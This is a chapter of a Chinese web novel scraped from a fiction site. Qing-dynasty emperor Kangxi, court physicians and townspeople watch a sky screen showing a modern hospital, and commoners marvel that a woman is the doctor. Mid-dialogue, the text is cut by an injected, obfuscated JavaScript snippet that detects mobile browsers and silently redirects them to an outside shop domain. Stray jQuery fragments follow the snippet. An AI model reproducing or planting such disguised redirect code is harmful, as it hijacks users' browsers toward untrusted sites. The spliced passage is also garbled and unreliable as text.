文趣网 > 都市小说 > 清穿女回来后[天幕] > 4. 药母娘娘
    这话在如今这个社会算是挺冒犯的了,但阿姨丝毫没觉得有什么,甚至倒吸了一口气,整个人弹了起来,转身就往床头扑,伸手重重地按在墙边坠着的呼叫铃上。

    “医生!医生!她醒了!隔壁2床的小姑娘醒了!”

    她的声音又急又响,近乎亢奋,扯着嗓子冲那个小小的白色方框喊。

    “你们快来!她睁眼了!她跟我说话了!”

    对面立马传来声音,急切道:“稍等,马上来!”

    ......

    清朝。

    所有人的视线都凝在被仙女称为阿姨的人手上,更准确地说,是那个白色小方块。

    这个阿姨竟对着小方块说话,甚至对面也立马有声音回应。

    难道是千里传音?

    殿内一片死寂。

    九阿哥胤禟第一个动了,他往前探了探身子,眯着眼,像是要把那个白色小方块从天上剜下来看个清楚,声音里满是好奇:“那是何物?竟然能自己发出声音。”

    康熙手里的碧玉珠不知何时停了下来,目光定定地落在那块白色的小方块上。

    那东西竟会说话。

    没有人去报信,没有人敲钟击鼓,只是对着那一小块东西说话,对面立即就给出回应。

    他见过西洋传教士进贡的千里镜,一尺长的铜管能把远处的景物拉到眼前,也见过放大镜,能把小字放得如斗大。

    可他从来没见过什么东西能让一个人对着墙壁说话,墙壁的另一头立刻就有人应答。

    难不成什么他没见过的新奇东西?

    “梁九功。”康熙终于开口了。

    梁九功也很吃惊,面对康熙的呼唤,他迅速从御座侧后方趋前半步,垂首待命:“奴才在。”

    “传白晋和张诚。”

    ......

    阿姨按完呼叫铃,又转过身来,重新弯下腰,凑回宋遥跟前。

    “你是叫...遥遥吧?”

    熟悉的称呼让宋遥倍感亲切,许久没人这么叫过她了。

    她点点头:“嗯。”

    阿姨笑眯眯地塞给宋遥一个又大又红的苹果,“我听你妈妈这么叫你的。”

    听到阿姨的话宋遥神色激动起来,下意识掌心紧攥,“我妈妈...”

    阿姨安抚道:“你妈妈回家做饭去了,我刚刚来的时候还碰见她了呢,等会儿就来了。”

    她顿了一下,因为她看见面前的小姑娘好像都快哭了,“你要是实在是想她,我给她打个电话,她肯定特别高兴。”

    宋遥连连点头,“谢谢您。”

    “嗐,客气啥,喊我林阿姨就行。”

    林阿姨跟宋遥妈妈做了这么久的病友邻居,当然是有联系方式的,不过还没等她打通电话,护士已经带着主治医师来了。

    为了方便医生检查,林阿姨退了出去,站在门外透过窗子观看里头的情形,一边往里看一边掏出手机拨通了电话。

    “喂,小冯啊,告诉你个好消息,你闺女醒啦!”

    “我可没骗你,你家遥遥刚刚还跟我说话呢,赶紧过来吧!”

    ......

    在医生给宋遥检查时,白晋和张诚也赶到了正殿外。

    他们是传教士南怀仁的徒弟,比其他人更了解西方的东西,此时面对康熙的问题,两人却只有摇头。

    他们只见过望远镜,但这种能隔空传话的东西却是闻所未闻。

    康熙有些失望,果真是神仙用具吗?

    他的目光凝在林阿姨手中那块黑色的砖头上,这个东西,跟方才她唤来大夫的白色方形物品一样,都可以千里传音。

    若是他们也能拥有此物就好了。

    军情战报,边疆急信,再不用等上十天半月。朝堂上有什么动静,一盏茶的工夫就能传到各地,能节省多少人力物力?

    可惜,他们这里没有这般奇物。

    康熙掩饰不住脸上的失望。

    ......

    天幕上那些白衣人检查的动静,从第一刻起就引来了无数双眼睛。

    太医院的太医们挤在一处,脑袋凑着脑袋,低声议论着。

    胡院判伸着脖子,眯着眼盯了好一会儿,忽然转过头对身后的年轻太医道:“你看那个...塞到耳朵里的,你见过没?”

    年轻太医赶紧凑上来看了看:“学生没见过,那中间,好像是一根细软的圆管子。”

    “老夫也没见过。”胡院判的眉头拧成了一团,“之前见过西洋传教士给皇上看诊,也曾看过他们听人的心肺声,但他们听心肺用的是耳朵直接贴上去,跟天幕上的人不太一样。”

    “他们是耳贴胸背,察其振颤,听其气声。可天幕上隔着一根管子也能听?那管子是什么做的?里头是空的还是实的?能听清楚吗……”

    他说着说着变成了自言自语,手指无意识地捻着胡须尖。

    有个年轻太医仔细看着天幕上的人的动作,“她们好像没有诊脉。”

    “她看的东西,跟咱们看的东西不一样。”胡院判也发觉了这一点,语气里有些不太确定的迟疑,“她看的...好像是那个会发光的方盒子?”

    胡院判惊奇道:“她们在看那方盒子上的彩线,居然只看一眼便下结论了?”

    有个年轻太医自言自语道:“难道...这个彩线代表的就是病人的脉象?”

    这句话让周围几个人都安静了一瞬,接着倒吸一口气。这是什么样的神仙手段,能将病人身体里的脉与彩线相连接。

    若是如此,岂非连诊脉都不用了,直接看彩线就行?

    几个太医互相看了一眼,脸上都浮出了一种相似的茫然神情。

    ......

    城楼下,周娘子仰着脖子看得认真,也跟周围人讨论了一会儿神仙诊脉的手段不平常,并不多纠结。毕竟是神仙嘛,肯定跟他们这些凡人不一样。

    他们正看得入神,天幕的画面微微动了一下,为首的大夫正好偏过头来。

    那张脸被白光映着,清清楚楚地露了出来,是个中年女人的脸,眉眼温和,正低头看着手里的器物。

    “哎!”她猛地直起腰,声音一下子拔高了,“小云你看!给神仙诊病的是个女人!她是个女大夫!”

    被称为小云的年轻女人赶紧仰头眯起眼看了两眼,也“哎哟”了一声:“还真是,是女大夫!”

    “女的!”周娘子一把把手里的花生壳拍在案板上,声音里带着一种说不上来的惊喜,“你看你看,她给神仙看脉呢!女人也能当大夫!”

    旁边的卖糖饼的老刘头听见了,仰头看了一眼:“还真是女的。”

    李婆子也凑过来:“真的!跟那些大夫穿一样的衣裳!而且看着,那些白衣裳的人里头,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822163|211168||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她是头一个!他们都看着她的眼色呢!”

    “女大夫……”周娘子念叨了两遍,忽然一拍大腿,“我听说书的讲过,古时候有个什么药母娘娘,就是女的!专门给人瞧病的!”

    刘嫂子赶紧接话:“药母娘娘?是不是给皇上也治过病?”

    “对对对!就是那个!”周娘子其实自己也记不太清了,但药母娘娘四个字一冒出来,她越说越觉得像,声音也跟着笃定了几分。

    “药母娘娘也是女的,也是给人瞧病的,跟天幕上那个一样,你说这天上的女大夫,莫不就是药母娘娘显了真身?”

    几个妇人围在一起,你一句我一句,越说越有劲儿。

    一个年轻媳妇拉了拉周娘子的袖子:“周婶,药母娘娘是啥?我没听过。”

    周娘子被她问住了,使劲想了想,从记忆深处把茶馆听书时扒拉出来的一点零碎往外倒:“就是……就是那个,扁鹊认不认识?药母娘娘比扁鹊还早!是女人!专门给人治病的!后来成仙了!”

    她其实也不确定药母娘娘到底是谁,是不是比扁鹊早,但她觉得“比扁鹊还早”这句话听起来很有说服力,想也不想就说了出来。

    旁边的人听得半懂不懂,但谁也没反驳,因为“药母娘娘”四个字本身就够有分量了。

    有人附和道:“女大夫,那可不就是药母娘娘嘛!男的叫药王,女的叫药母,对得上!”

    “对对对,药王是男的,药母是女的。”

    “那药王是谁?”

    “你这都不知道?药王是孙思邈啊!”

    “那药母呢?”

    “药母就是...”那人也卡住了,憋了一会儿,“药母就是天上的女大夫!人家没留名字,反正是女的!”

    这话说得理直气壮,周围人居然也都点了点头,觉得很有道理。

    这时有个老汉瓮声瓮气地插了一句:“你们说的药母娘娘,是不是鲍仙姑?”

    周娘子一愣:“鲍啥姑?”

    “鲍仙姑!葛洪的老婆!广东那边供的!”

    周娘子茫然地摇了摇头:“没听过,反正就是个女的,女的就成。”

    不过听到另一个女大夫,她也来了兴致,当即追问起来:“鲍仙姑?也是女大夫?她也是给人瞧病的?”

    老汉挠了挠后脑勺:“……反正是个女的,会给人做艾灸,广东那边供着她呢。”

    他说得含含糊糊的,自己也不太确定,周娘子见此扭头和旁边人继续讨论女大夫的事。

    等老汉反应过来还想再辩几句,看见周围几个妇人已经自顾自地“药母娘娘”长、“药母娘娘”短地聊开了,也就闭嘴了。

    周娘子又仰头看了一眼天幕,那个女大夫已经收起了手中的器物,正低头在什么东西上写着字。

    周娘子眯着眼看了一会儿,小声嘟囔了一句:“女大夫……娘哎,女大夫。”

    她说不清楚自己为什么会重复这一句,只是觉得这三个字在她舌尖上滚了一圈,有种说不出来的熨帖,让她心里头微微发热。

    城楼下议论声还在嗡嗡地响着,“药母娘娘”四个字像一颗石子投进池塘,水面荡开,一圈一圈传了出去。

    有人笃定地说是药母娘娘,有人说是仙姑,有人说是药王的徒弟。

    反正不管叫什么,“女大夫”三个字,已经稳稳地扎进了所有人的耳朵里。